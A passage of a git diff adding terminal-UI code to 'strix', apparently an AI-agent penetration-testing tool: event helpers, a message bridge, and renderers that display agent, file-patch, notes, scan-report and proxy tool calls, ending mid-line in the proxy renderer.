self._bump_event(event, timestamp=timestamp) + + def _append_event( + self, + agent_id: str, + event_type: str, + data: dict[str, Any], + *, + timestamp: str | None = None, + ) -> dict[str, Any]: + event = { + "id": f"{event_type}_{self._next_event_id}", + "type": event_type, + "agent_id": agent_id, + "timestamp": timestamp or datetime.now(UTC).isoformat(), + "version": 0, + "data": data, + } + self._next_event_id += 1 + self.events.append(event) + return event + + @staticmethod + def _bump_event(event: dict[str, Any], *, timestamp: str | None = None) -> None: + event["version"] = int(event.get("version", 0)) + 1 + event["timestamp"] = timestamp or datetime.now(UTC).isoformat() + + +def _sdk_tool_call_data(item: Any) -> dict[str, Any]: + raw = getattr(item, "raw_item", None) + call_id = str(_raw_field(raw, "call_id") or _raw_field(raw, "id") or id(item)) + tool_name = str( + _raw_field(raw, "name") or _raw_field(raw, "type") or getattr(item, "title", None) or "tool" + ) + return { + "call_id": call_id, + "tool_name": tool_name, + "args": _parse_json_object(_raw_field(raw, "arguments")), + } + + +def _sdk_tool_output_data(item: Any) -> dict[str, Any]: + raw = getattr(item, "raw_item", None) + call_id = str(_raw_field(raw, "call_id") or _raw_field(raw, "id") or id(item)) + return { + "call_id": call_id, + "tool_name": str(_raw_field(raw, "name") or _raw_field(raw, "type") or "tool"), + "output": getattr(item, "output", _raw_field(raw, "output")), + } + + +def _sdk_message_text(item: Any) -> str: + raw = getattr(item, "raw_item", None) + return _message_content_text(_raw_field(raw, "content", [])) + + +def _session_message_text(item: dict[str, Any]) -> str: + return _message_content_text(item.get("content", "")) + + +def _message_content_text(content: Any) -> str: + parts: list[str] = [] + content_items = content if isinstance(content, list) else [content] + for part in content_items: + if isinstance(part, str): + parts.append(part) + continue + text = _raw_field(part, "text") + if isinstance(text, str): + parts.append(text) + return "".join(parts) + + +def _raw_field(raw: Any, key: str, default: Any = None) -> Any: + if isinstance(raw, dict): + return raw.get(key, default) + return getattr(raw, key, default) + + +def _parse_json_object(value: Any) -> dict[str, Any]: + parsed = _parse_json_value(value) + return parsed if isinstance(parsed, dict) else {} + + +def _parse_json_value(value: Any) -> Any: + if not isinstance(value, str): + return value + try: + return json.loads(value) + except json.JSONDecodeError: + return value + + +def _tool_status_from_result(result: Any) -> str: + if isinstance(result, dict) and result.get("success") is False: + return "failed" + return "completed" diff --git a/strix/interface/tui/messages.py b/strix/interface/tui/messages.py new file mode 100644 index 000000000..18cd37c13 --- /dev/null +++ b/strix/interface/tui/messages.py @@ -0,0 +1,43 @@ +"""Message delivery bridge from TUI input to SDK-backed agents.""" + +from __future__ import annotations + +import asyncio +import logging +from typing import Any + + +logger = logging.getLogger(__name__) + + +def send_user_message_to_agent( + *, + coordinator: Any, + loop: asyncio.AbstractEventLoop | None, + live_view: Any, + target_agent_id: str, + message: str, +) -> bool: + if loop is None or loop.is_closed(): + return False + + live_view.record_user_message(target_agent_id, message) + future = asyncio.run_coroutine_threadsafe( + coordinator.send( + target_agent_id, + {"from": "user", "content": message, "type": "instruction"}, + ), + loop, + ) + future.add_done_callback(_log_delivery_failure) + return True + + +def _log_delivery_failure(future: Any) -> None: + try: + delivered = bool(future.result()) + except Exception: + logger.exception("TUI user message delivery failed") + return + if not delivered: + logger.warning("TUI user message was not persisted to the SDK session") diff --git a/strix/interface/tui/renderers/__init__.py b/strix/interface/tui/renderers/__init__.py new file mode 100644 index 000000000..75f60d7b0 --- /dev/null +++ b/strix/interface/tui/renderers/__init__.py @@ -0,0 +1,30 @@ +from . import ( + agents_graph_renderer, + filesystem_renderer, + finish_renderer, + load_skill_renderer, + notes_renderer, + proxy_renderer, + reporting_renderer, + shell_renderer, + thinking_renderer, + todo_renderer, + web_search_renderer, +) +from .registry import render_tool_widget + + +__all__ = [ + "agents_graph_renderer", + "filesystem_renderer", + "finish_renderer", + "load_skill_renderer", + "notes_renderer", + "proxy_renderer", + "render_tool_widget", + "reporting_renderer", + "shell_renderer", + "thinking_renderer", + "todo_renderer", + "web_search_renderer", +] diff --git a/strix/interface/tui/renderers/agent_message_renderer.py b/strix/interface/tui/renderers/agent_message_renderer.py new file mode 100644 index 000000000..a7085208c --- /dev/null +++ b/strix/interface/tui/renderers/agent_message_renderer.py @@ -0,0 +1,171 @@ +import re +from functools import cache +from typing import Any + +from pygments.lexers import get_lexer_by_name, guess_lexer +from pygments.styles import get_style_by_name +from pygments.util import ClassNotFound +from rich.text import Text + + +_BLANK_LINE_RUNS = re.compile(r"\n\s*\n") + + +_HEADER_STYLES = [ + ("###### ", 7, "bold #4ade80"), + ("##### ", 6, "bold #22c55e"), + ("#### ", 5, "bold #16a34a"), + ("### ", 4, "bold #15803d"), + ("## ", 3, "bold #22c55e"), + ("# ", 2, "bold #4ade80"), +] + + +@cache +def _get_style_colors() -> dict[Any, str]: + style = get_style_by_name("native") + return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]} + + +def _get_token_color(token_type: Any) -> str | None: + colors = _get_style_colors() + while token_type: + if token_type in colors: + return colors[token_type] + token_type = token_type.parent + return None + + +def _highlight_code(code: str, language: str | None = None) -> Text: + text = Text() + + try: + lexer = get_lexer_by_name(language) if language else guess_lexer(code) + except ClassNotFound: + text.append(code, style="#d4d4d4") + return text + + for token_type, token_value in lexer.get_tokens(code): + if not token_value: + continue + color = _get_token_color(token_type) + text.append(token_value, style=color) + + return text + + +def _try_parse_header(line: str) -> tuple[str, str] | None: + for prefix, strip_len, style in _HEADER_STYLES: + if line.startswith(prefix): + return (line[strip_len:], style) + return None + + +def _apply_markdown_styles(text: str) -> Text: # noqa: PLR0912 + result = Text() + lines = text.split("\n") + + in_code_block = False + code_block_lang: str | None = None + code_block_lines: list[str] = [] + + for i, line in enumerate(lines): + if i > 0 and not in_code_block: + result.append("\n") + + if line.startswith("```"): + if not in_code_block: + in_code_block = True + code_block_lang = line[3:].strip() or None + code_block_lines = [] + if i > 0: + result.append("\n") + else: + in_code_block = False + code_content = "\n".join(code_block_lines) + if code_content: + result.append_text(_highlight_code(code_content, code_block_lang)) + code_block_lines = [] + code_block_lang = None + continue + + if in_code_block: + code_block_lines.append(line) + continue + + header = _try_parse_header(line) + if header: + result.append(header[0], style=header[1]) + elif line.startswith("> "): + result.append("┃ ", style="#22c55e") + result.append_text(_process_inline_formatting(line[2:])) + elif line.startswith(("- ", "* ")): + result.append("• ", style="#22c55e") + result.append_text(_process_inline_formatting(line[2:])) + elif len(line) > 2 and line[0].isdigit() and line[1:3] in (". ", ") "): + result.append(line[0] + ". ", style="#22c55e") + result.append_text(_process_inline_formatting(line[2:])) + elif line.strip() in ("---", "***", "___"): + result.append("─" * 40, style="#22c55e") + else: + result.append_text(_process_inline_formatting(line)) + + if in_code_block and code_block_lines: + code_content = "\n".join(code_block_lines) + result.append_text(_highlight_code(code_content, code_block_lang)) + + return result + + +def _process_inline_formatting(line: str) -> Text: + result = Text() + i = 0 + n = len(line) + + while i < n: + if i + 1 < n and line[i : i + 2] in ("**", "__"): + marker = line[i : i + 2] + end = line.find(marker, i + 2) + if end != -1: + result.append(line[i + 2 : end], style="bold #4ade80") + i = end + 2 + continue + + if i + 1 < n and line[i : i + 2] == "~~": + end = line.find("~~", i + 2) + if end != -1: + result.append(line[i + 2 : end], style="strike #525252") + i = end + 2 + continue + + if line[i] == "`": + end = line.find("`", i + 1) + if end != -1: + result.append(line[i + 1 : end], style="bold #22c55e on #0a0a0a") + i = end + 1 + continue + + if line[i] in ("*", "_"): + marker = line[i] + if i + 1 < n and line[i + 1] != marker: + end = line.find(marker, i + 1) + if end != -1 and (end + 1 >= n or line[end + 1] != marker): + result.append(line[i + 1 : end], style="italic #86efac") + i = end + 1 + continue + + result.append(line[i]) + i += 1 + + return result + + +class AgentMessageRenderer: + @classmethod + def render_simple(cls, content: str) -> Text: + if not content: + return Text() + cleaned = _BLANK_LINE_RUNS.sub("\n\n", content).strip() + if not cleaned: + return Text() + return _apply_markdown_styles(cleaned) diff --git a/strix/interface/tui/renderers/agents_graph_renderer.py b/strix/interface/tui/renderers/agents_graph_renderer.py new file mode 100644 index 000000000..92ad1d413 --- /dev/null +++ b/strix/interface/tui/renderers/agents_graph_renderer.py @@ -0,0 +1,175 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class ViewAgentGraphRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_agent_graph" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + status = tool_data.get("status", "unknown") + + text = Text() + text.append("◇ ", style="#a78bfa") + text.append("viewing agents graph", style="dim") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class CreateAgentRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_agent" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + task = args.get("task", "") + name = args.get("name", "Agent") + + text = Text() + text.append("◈ ", style="#a78bfa") + text.append("spawning ", style="dim") + text.append(name, style="bold #a78bfa") + + if task: + text.append("\n ") + text.append(task, style="dim") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class SendMessageToAgentRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "send_message_to_agent" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + message = args.get("message", "") + target_agent_id = args.get("target_agent_id", "") + + text = Text() + text.append("→ ", style="#60a5fa") + if target_agent_id: + text.append(f"to {target_agent_id}", style="dim") + else: + text.append("sending message", style="dim") + + if message: + text.append("\n ") + text.append(message, style="dim") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class AgentFinishRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "agent_finish" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + result_summary = args.get("result_summary", "") + findings = args.get("findings", []) + success = args.get("success", True) + + text = Text() + + if success: + text.append("◆ ", style="#22c55e") + text.append("Agent completed", style="bold #22c55e") + else: + text.append("◆ ", style="#ef4444") + text.append("Agent failed", style="bold #ef4444") + + if result_summary: + text.append("\n ") + text.append(result_summary, style="bold") + + if findings and isinstance(findings, list): + for finding in findings: + text.append("\n • ") + text.append(str(finding), style="dim") + else: + text.append("\n ") + text.append("Completing task...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class WaitForMessageRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "wait_for_message" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + reason = args.get("reason", "") + + text = Text() + text.append("○ ", style="#6b7280") + text.append("waiting", style="dim") + + if reason: + text.append("\n ") + text.append(reason, style="dim") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class StopAgentRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "stop_agent" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "unknown") + + target_agent_id = args.get("target_agent_id", "") + cascade = args.get("cascade", True) + reason = args.get("reason", "") + + text = Text() + text.append("◼ ", style="#ef4444") + text.append("stopping", style="dim") + if target_agent_id: + text.append(f" {target_agent_id}", style="bold #ef4444") + if cascade: + text.append(" + descendants", style="dim italic") + + if reason: + text.append("\n ") + text.append(reason, style="dim") + + if isinstance(result, dict) and result.get("success") is False and result.get("error"): + text.append("\n ") + text.append(str(result["error"]), style="#ef4444") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) diff --git a/strix/interface/tui/renderers/base_renderer.py b/strix/interface/tui/renderers/base_renderer.py new file mode 100644 index 000000000..aea25b22a --- /dev/null +++ b/strix/interface/tui/renderers/base_renderer.py @@ -0,0 +1,30 @@ +from abc import ABC, abstractmethod +from typing import Any, ClassVar + +from textual.widgets import Static + + +class BaseToolRenderer(ABC): + tool_name: ClassVar[str] = "" + css_classes: ClassVar[list[str]] = ["tool-call"] + + @classmethod + @abstractmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + pass + + @classmethod + def status_icon(cls, status: str) -> tuple[str, str]: + icons = { + "running": ("● In progress...", "#f59e0b"), + "completed": ("✓ Done", "#22c55e"), + "failed": ("✗ Failed", "#dc2626"), + "error": ("✗ Error", "#dc2626"), + } + return icons.get(status, ("○ Unknown", "dim")) + + @classmethod + def get_css_classes(cls, status: str) -> str: + base_classes = cls.css_classes.copy() + base_classes.append(f"status-{status}") + return " ".join(base_classes) diff --git a/strix/interface/tui/renderers/filesystem_renderer.py b/strix/interface/tui/renderers/filesystem_renderer.py new file mode 100644 index 000000000..341addcb5 --- /dev/null +++ b/strix/interface/tui/renderers/filesystem_renderer.py @@ -0,0 +1,266 @@ +from __future__ import annotations + +import json +from functools import cache +from typing import Any, ClassVar + +from pygments.lexers import get_lexer_by_name, get_lexer_for_filename +from pygments.styles import get_style_by_name +from pygments.util import ClassNotFound +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +_ADD_FILE = "*** Add File: " +_DELETE_FILE = "*** Delete File: " +_UPDATE_FILE = "*** Update File: " +_BEGIN_PATCH = "*** Begin Patch" +_END_PATCH = "*** End Patch" + +_VIEW_IMAGE_ERROR_PREFIXES = ( + "image path ", + "unable to read image", + "manifest path", + "exceeded the allowed size", +) + + +@cache +def _get_style_colors() -> dict[Any, str]: + style = get_style_by_name("native") + return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]} + + +def _get_lexer_for_file(path: str) -> Any: + try: + return get_lexer_for_filename(path) + except ClassNotFound: + return get_lexer_by_name("text") + + +def _get_token_color(token_type: Any) -> str | None: + colors = _get_style_colors() + while token_type: + if token_type in colors: + return colors[token_type] + token_type = token_type.parent + return None + + +def _highlight_code(code: str, path: str) -> Text: + lexer = _get_lexer_for_file(path) + text = Text() + for token_type, token_value in lexer.get_tokens(code): + if not token_value: + continue + color = _get_token_color(token_type) + text.append(token_value, style=color) + return text + + +def _extract_patch_text(args: dict[str, Any]) -> str: + """apply_patch input arrives as either {"patch": text} or raw text in + the "input" field, depending on whether the tool is wrapped as a + chat-completions FunctionTool or routed through as a CustomTool. + """ + raw = args.get("patch") + if isinstance(raw, str): + return raw + if isinstance(raw, dict): + inner = raw.get("patch") + if isinstance(inner, str): + return inner + fallback = args.get("input") if isinstance(args, dict) else None + if isinstance(fallback, str): + return fallback + return "" + + +def _parse_patch_operations( + patch_text: str, +) -> list[tuple[str, str, list[str], list[str]]]: + """Return [(kind, path, old_lines, new_lines), ...] for each file op.""" + ops: list[tuple[str, str, list[str], list[str]]] = [] + current_kind: str | None = None + current_path: str | None = None + old_lines: list[str] = [] + new_lines: list[str] = [] + + def flush() -> None: + nonlocal current_kind, current_path, old_lines, new_lines + if current_kind and current_path is not None: + ops.append((current_kind, current_path, old_lines, new_lines)) + current_kind = None + current_path = None + old_lines = [] + new_lines = [] + + for line in patch_text.splitlines(): + if line in (_BEGIN_PATCH, _END_PATCH): + continue + if line.startswith(_ADD_FILE): + flush() + current_kind = "add" + current_path = line[len(_ADD_FILE) :].strip() + elif line.startswith(_UPDATE_FILE): + flush() + current_kind = "update" + current_path = line[len(_UPDATE_FILE) :].strip() + elif line.startswith(_DELETE_FILE): + flush() + current_kind = "delete" + current_path = line[len(_DELETE_FILE) :].strip() + elif current_kind == "update": + if line.startswith("@@"): + continue + if line.startswith("-") and not line.startswith("---"): + old_lines.append(line[1:]) + elif line.startswith("+") and not line.startswith("+++"): + new_lines.append(line[1:]) + elif current_kind == "add": + if line.startswith("+"): + new_lines.append(line[1:]) + elif line.strip(): + new_lines.append(line) + flush() + return ops + + +_OP_LABEL = { + "add": "create", + "update": "edit", + "delete": "delete", +} + + +def _render_operation(text: Text, kind: str, path: str, old: list[str], new: list[str]) -> None: + label = _OP_LABEL.get(kind, "file") + + text.append("◇ ", style="#10b981") + text.append(label, style="dim") + + if path: + path_display = path[-60:] if len(path) > 60 else path + text.append(" ") + text.append(path_display, style="dim") + + if kind == "update": + if old: + highlighted_old = _highlight_code("\n".join(old), path) + for line in highlighted_old.plain.split("\n"): + text.append("\n") + text.append("-", style="#ef4444") + text.append(" ") + text.append(line) + if new: + highlighted_new = _highlight_code("\n".join(new), path) + for line in highlighted_new.plain.split("\n"): + text.append("\n") + text.append("+", style="#22c55e") + text.append(" ") + text.append(line) + elif kind == "add" and new: + text.append("\n") + text.append_text(_highlight_code("\n".join(new), path)) + + +@register_tool_renderer +class ApplyPatchRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "apply_patch" + css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "completed") + + patch_text = _extract_patch_text(args) + ops = _parse_patch_operations(patch_text) + + text = Text() + + if not ops: + text.append("◇ ", style="#10b981") + text.append("patch", style="dim") + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif not result: + text.append(" ") + text.append("Processing...", style="dim") + return Static(text, classes=cls.get_css_classes(status)) + + for i, (kind, path, old, new) in enumerate(ops): + if i > 0: + text.append("\n") + _render_operation(text, kind, path, old, new) + + if status == "failed" and isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="#ef4444") + + return Static(text, classes=cls.get_css_classes(status)) + + +def _is_image_success(result: Any) -> bool: + if isinstance(result, dict) and result.get("type") == "image": + return True + if isinstance(result, str): + stripped = result.lstrip() + if stripped.startswith("data:image/"): + return True + try: + obj = json.loads(stripped) + except (TypeError, ValueError): + return False + return isinstance(obj, dict) and obj.get("type") == "image" + return False + + +def _image_error_text(result: Any) -> str | None: + if not isinstance(result, str): + return None + stripped = result.strip() + if not stripped: + return None + lower = stripped.lower() + if lower.startswith(_VIEW_IMAGE_ERROR_PREFIXES) or "not a supported image" in lower: + return stripped + return None + + +@register_tool_renderer +class ViewImageRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_image" + css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "completed") + + path = str(args.get("path", "")).strip() + + text = Text() + text.append("◇ ", style="#10b981") + text.append("view image", style="dim") + + if path: + path_display = path[-60:] if len(path) > 60 else path + text.append(" ") + text.append(path_display, style="dim") + + err = _image_error_text(result) + if err is not None: + text.append("\n ") + text.append(err, style="#ef4444") + elif _is_image_success(result): + text.append(" ") + text.append("✓", style="#22c55e") + + return Static(text, classes=cls.get_css_classes(status)) diff --git a/strix/interface/tui/renderers/finish_renderer.py b/strix/interface/tui/renderers/finish_renderer.py new file mode 100644 index 000000000..62c21288d --- /dev/null +++ b/strix/interface/tui/renderers/finish_renderer.py @@ -0,0 +1,65 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +FIELD_STYLE = "bold #4ade80" + + +@register_tool_renderer +class FinishScanRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "finish_scan" + css_classes: ClassVar[list[str]] = ["tool-call", "finish-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + executive_summary = args.get("executive_summary", "") + methodology = args.get("methodology", "") + technical_analysis = args.get("technical_analysis", "") + recommendations = args.get("recommendations", "") + + text = Text() + text.append("◆ ", style="#22c55e") + text.append("Penetration test completed", style="bold #22c55e") + + if executive_summary: + text.append("\n\n") + text.append("Executive Summary", style=FIELD_STYLE) + text.append("\n") + text.append(executive_summary) + + if methodology: + text.append("\n\n") + text.append("Methodology", style=FIELD_STYLE) + text.append("\n") + text.append(methodology) + + if technical_analysis: + text.append("\n\n") + text.append("Technical Analysis", style=FIELD_STYLE) + text.append("\n") + text.append(technical_analysis) + + if recommendations: + text.append("\n\n") + text.append("Recommendations", style=FIELD_STYLE) + text.append("\n") + text.append(recommendations) + + if not (executive_summary or methodology or technical_analysis or recommendations): + text.append("\n ") + text.append("Generating final report...", style="dim") + + padded = Text() + padded.append("\n\n") + padded.append_text(text) + padded.append("\n\n") + + css_classes = cls.get_css_classes("completed") + return Static(padded, classes=css_classes) diff --git a/strix/interface/tui/renderers/load_skill_renderer.py b/strix/interface/tui/renderers/load_skill_renderer.py new file mode 100644 index 000000000..52cde4bea --- /dev/null +++ b/strix/interface/tui/renderers/load_skill_renderer.py @@ -0,0 +1,37 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class LoadSkillRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "load_skill" + css_classes: ClassVar[list[str]] = ["tool-call", "load-skill-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "completed") + + raw_skills = args.get("skills", "") + if isinstance(raw_skills, list): + requested = ", ".join(str(s) for s in raw_skills) + else: + requested = str(raw_skills) + + text = Text() + text.append("◇ ", style="#10b981") + text.append("loading skill", style="dim") + + if requested: + text.append(" ") + text.append(requested, style="#10b981") + elif not tool_data.get("result"): + text.append("\n ") + text.append("Loading...", style="dim") + + return Static(text, classes=cls.get_css_classes(status)) diff --git a/strix/interface/tui/renderers/notes_renderer.py b/strix/interface/tui/renderers/notes_renderer.py new file mode 100644 index 000000000..4a410c2f7 --- /dev/null +++ b/strix/interface/tui/renderers/notes_renderer.py @@ -0,0 +1,167 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class CreateNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + title = args.get("title", "") + content = args.get("content", "") + category = args.get("category", "general") + + text = Text() + text.append("◇ ", style="#fbbf24") + text.append("note", style="dim") + text.append(" ") + text.append(f"({category})", style="dim") + + if title: + text.append("\n ") + text.append(title.strip()) + + if content: + text.append("\n ") + text.append(content.strip(), style="dim") + + if not title and not content: + text.append("\n ") + text.append("Capturing...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class DeleteNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "delete_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 + text = Text() + text.append("◇ ", style="#fbbf24") + text.append("note removed", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class UpdateNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "update_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + title = args.get("title") + content = args.get("content") + + text = Text() + text.append("◇ ", style="#fbbf24") + text.append("note updated", style="dim") + + if title: + text.append("\n ") + text.append(title) + + if content: + text.append("\n ") + text.append(content.strip(), style="dim") + + if not title and not content: + text.append("\n ") + text.append("Updating...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ListNotesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_notes" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("◇ ", style="#fbbf24") + text.append("notes", style="dim") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict) and result.get("success"): + count = result.get("total_count", 0) + notes = result.get("notes", []) or [] + + if count == 0: + text.append("\n ") + text.append("No notes", style="dim") + else: + for note in notes: + title = note.get("title", "").strip() or "(untitled)" + category = note.get("category", "general") + note_content = note.get("content", "").strip() + if not note_content: + note_content = note.get("content_preview", "").strip() + + text.append("\n - ") + text.append(title) + text.append(f" ({category})", style="dim") + + if note_content: + text.append("\n ") + text.append(note_content, style="dim") + else: + text.append("\n ") + text.append("Loading...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class GetNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "get_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("◇ ", style="#fbbf24") + text.append("note read", style="dim") + + if result and isinstance(result, dict) and result.get("success"): + note = result.get("note", {}) or {} + title = str(note.get("title", "")).strip() or "(untitled)" + category = note.get("category", "general") + content = str(note.get("content", "")).strip() + text.append("\n ") + text.append(title) + text.append(f" ({category})", style="dim") + if content: + text.append("\n ") + text.append(content, style="dim") + else: + text.append("\n ") + text.append("Loading...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) diff --git a/strix/interface/tui/renderers/proxy_renderer.py b/strix/interface/tui/renderers/proxy_renderer.py new file mode 100644 index 000000000..6fbbe121d --- /dev/null +++ b/strix/interface/tui/renderers/proxy_renderer.py @@ -0,0 +1,536 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +PROXY_ICON = "<~>" +MAX_REQUESTS_DISPLAY = 20 +MAX_LINE_LENGTH = 200 + + +def _truncate(text: str, max_len: int = 80) -> str: + return text[: max_len - 3] + "..." if len(text) > max_len else text + + +def _sanitize(text: str, max_len: int = 150) -> str: + clean = text.replace("\n", " ").replace("\r", "").replace("\t", " ") + return _truncate(clean, max_len) + + +def _status_style(code: int | None) -> str: + if code is None: + return "dim" + if 200 <= code < 300: + return "#22c55e" # green + if 300 <= code < 400: + return "#eab308" # yellow + if 400 <= code < 500: + return "#f97316" # orange + if code >= 500: + return "#ef4444" # red + return "dim" + + +@register_tool_renderer +class ListRequestsRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_requests" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + httpql_filter = args.get("httpql_filter") + sort_by = args.get("sort_by") + sort_order = args.get("sort_order") + scope_id = args.get("scope_id") + + text = Text() + text.append(PROXY_ICON, style="dim") + text.append(" listing requests", style="#06b6d4") + + if httpql_filter: + text.append(f" where {_truncate(httpql_filter, 150)}", style="dim italic") + + meta_parts = [] + if sort_by and sort_by != "timestamp": + meta_parts.append(f"by:{sort_by}") + if sort_order and sort_order != "desc": + meta_parts.append(sort_order) + if scope_id and isinstance(scope_id, str): + meta_parts.append(f"scope:{scope_id[:8]}") + if meta_parts: + text.append(f" ({', '.join(meta_parts)})", style="dim") + + if status == "completed" and isinstance(result, dict): + if "error" in result: + text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + else: + entries = result.get("entries", []) + page_info = result.get("page_info") or {} + has_more = ( + bool(page_info.get("has_next_page")) if isinstance(page_info, dict) else False + ) + count_suffix = "+" if has_more else "" + text.append(f" [{len(entries)}{count_suffix} found]", style="dim") + + if entries and isinstance(entries, list): + text.append("\n") + for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]): + if not isinstance(entry, dict): + continue + req = entry.get("request") or {} + resp = entry.get("response") or {} + method = req.get("method", "?") if isinstance(req, dict) else "?" + host = req.get("host", "") if isinstance(req, dict) else "" + path = req.get("path", "/") if isinstance(req, dict) else "/" + code = resp.get("status_code") if isinstance(resp, dict) else None + + text.append(" ") + text.append(f"{method:6}", style="#a78bfa") + text.append(f" {_truncate(host + path, 180)}", style="dim") + if code: + text.append(f" {code}", style=_status_style(code)) + + if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1: + text.append("\n") + + if len(entries) > MAX_REQUESTS_DISPLAY: + text.append("\n") + text.append( + f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more", + style="dim italic", + ) + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ViewRequestRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_request" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + request_id = args.get("request_id", "") + part = args.get("part", "request") + search_pattern = args.get("search_pattern") + + text = Text() + text.append(PROXY_ICON, 